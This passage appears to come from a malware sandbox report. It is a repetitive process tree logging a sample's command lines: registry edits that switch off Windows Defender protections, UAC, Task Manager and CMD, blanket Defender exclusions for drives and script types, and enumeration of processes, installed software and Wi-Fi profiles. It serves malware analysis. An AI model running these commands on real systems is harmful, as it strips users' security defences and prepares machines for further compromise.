        Command and Scripting Interpreter: PowerShell
        
        PID:6460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        74⤵
        
        PID:3080
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        74⤵
        
        PID:7860
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        75⤵
        Enumerates processes with tasklist
        
        PID:1460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        74⤵
        
        PID:4880
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        74⤵
        
        PID:4936
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        74⤵
        
        PID:4728
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        74⤵
        
        PID:756
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        74⤵
        
        PID:5436
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        70⤵
        
        PID:7220
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        71⤵
        
        PID:4184
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        70⤵
        
        PID:5376
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        71⤵
        
        PID:7440
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        70⤵
        
        PID:7944
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        70⤵
        
        PID:7740
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        70⤵
        Modifies registry key
        
        PID:5936
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        70⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6880
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        70⤵
        
        PID:768
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        71⤵
        Modifies registry key
        
        PID:7820
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        70⤵
        
        PID:7600
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        70⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:7200
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        70⤵
        
        PID:8056
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        70⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6540
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        70⤵
        
        PID:7524
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        71⤵
        Enumerates processes with tasklist
        
        PID:8176
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        70⤵
        
        PID:7408
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        70⤵
        
        PID:7924
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        70⤵
        
        PID:7644
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        70⤵
        
        PID:5628
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        70⤵
        
        PID:6524
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        70⤵
        
        PID:7616
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        70⤵
        
        PID:4728
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        70⤵
        
        PID:3920
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        70⤵
        
        PID:3640
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        70⤵
        
        PID:7332
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        70⤵
        
        PID:7516
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        70⤵
        
        PID:7396
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        70⤵
        
        PID:280
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        71⤵
        
        PID:5628
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        70⤵
        
        PID:7764
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        70⤵
        
        PID:5576
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        70⤵
        
        PID:5908
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        70⤵
        
        PID:5632
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        70⤵
        
        PID:3836
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        70⤵
        
        PID:6068
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        70⤵
        
        PID:1488
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        66⤵
        
        PID:6252
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        67⤵
        
        PID:5764
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        66⤵
        
        PID:6656
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        67⤵
        Modifies registry key
        
        PID:4636
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        66⤵
        
        PID:5824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        66⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4668
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        66⤵
        Modifies registry key
        
        PID:5124
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        66⤵
        
        PID:5992
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        66⤵
        
        PID:1928
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        67⤵
        Modifies registry key
        
        PID:6632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        66⤵
        
        PID:5876
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        66⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        66⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4564
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        67⤵
        
        PID:3460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        66⤵
        
        PID:1968
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        66⤵
        
        PID:4700
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        66⤵
        
        PID:236
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        67⤵
        Enumerates processes with tasklist
        
        PID:2052
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        66⤵
        
        PID:2960
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        66⤵
        
        PID:6988
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        66⤵
        
        PID:4532
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        66⤵
        
        PID:7744
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        66⤵
        
        PID:7244
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        66⤵
        
        PID:3324
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        66⤵
        
        PID:7944
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        66⤵
        
        PID:7132
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        66⤵
        
        PID:7948
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        66⤵
        
        PID:5604
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        66⤵
        
        PID:7308
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        66⤵
        
        PID:7472
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        66⤵
        
        PID:1596
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        66⤵
        
        PID:7928
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        66⤵
        
        PID:6228
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        66⤵
        
        PID:7968
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        66⤵
        
        PID:6136
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        66⤵
        
        PID:7736
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        66⤵
        
        PID:5280
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        62⤵
        
        PID:6008
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        63⤵
        Modifies registry key
        
        PID:5328
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        62⤵
        
        PID:5936
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        63⤵
        Modifies registry key
        
        PID:6416
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        62⤵
        
        PID:4000
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        62⤵
        
        PID:3132
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        62⤵
        Modifies registry key
        
        PID:4616
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        62⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5464
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        62⤵
        
        PID:7012
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        63⤵
        Modifies registry key
        
        PID:1192
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        62⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4724
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        62⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6828
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        62⤵
        
        PID:5220
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        62⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1596
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        62⤵
        
        PID:6412
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        62⤵
        
        PID:5852
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        63⤵
        Enumerates processes with tasklist
        
        PID:6576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        62⤵
        
        PID:3144
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        63⤵
        
        PID:5352
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        62⤵
        
        PID:2372
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        62⤵
        
        PID:3152
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        62⤵
        
        PID:3032
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        62⤵
        
        PID:2052
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        62⤵
        
        PID:6656
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        62⤵
        
        PID:5376
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        62⤵
        
        PID:7116
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        62⤵
        
        PID:3552
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        62⤵
        
        PID:1088
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        62⤵
        
        PID:4892
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        62⤵
        
        PID:4700
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        62⤵
        
        PID:3760
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        62⤵
        
        PID:344
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        62⤵
        
        PID:1732
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        62⤵
        
        PID:6372
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        62⤵
        
        PID:6620
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        62⤵
        
        PID:8132
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        62⤵
        
        PID:7216
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        58⤵
        
        PID:7156
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        59⤵
        Modifies registry key
        
        PID:5564
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        58⤵
        
        PID:3552
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        59⤵
        
        PID:4892
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        58⤵
        
        PID:6136
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        58⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:308
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        58⤵
        Modifies registry key
        
        PID:4104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        58⤵
        
        PID:5620
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        58⤵
        
        PID:6612
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        59⤵
        Modifies registry key
        
        PID:6376
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        58⤵
        
        PID:6680
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        58⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5736
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        58⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1088
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        58⤵
        
        PID:4792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        58⤵
        
        PID:5740
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        58⤵
        
        PID:2004
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        59⤵
        Enumerates processes with tasklist
        
        PID:5708
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        58⤵
        
        PID:5548
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        58⤵
        
        PID:4992
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        58⤵
        
        PID:5748
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        58⤵
        
        PID:3952
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        58⤵
        
        PID:6136
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        58⤵
        
        PID:5836
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        58⤵
        
        PID:5260
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        58⤵
        
        PID:6480
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        58⤵
        
        PID:6584
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        58⤵
        
        PID:7132
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        58⤵
        
        PID:5972
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        58⤵
        
        PID:6940
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        58⤵
        
        PID:3372
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        58⤵
        
        PID:2740
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        58⤵
        
        PID:5228
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        58⤵
        
        PID:5848
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        59⤵
        
        PID:6580
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        58⤵
        
        PID:3248
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        58⤵
        
        PID:2400
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        58⤵
        
        PID:1616
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        54⤵
        
        PID:5208
        
        C:\Windows\system32\reg.exe
        
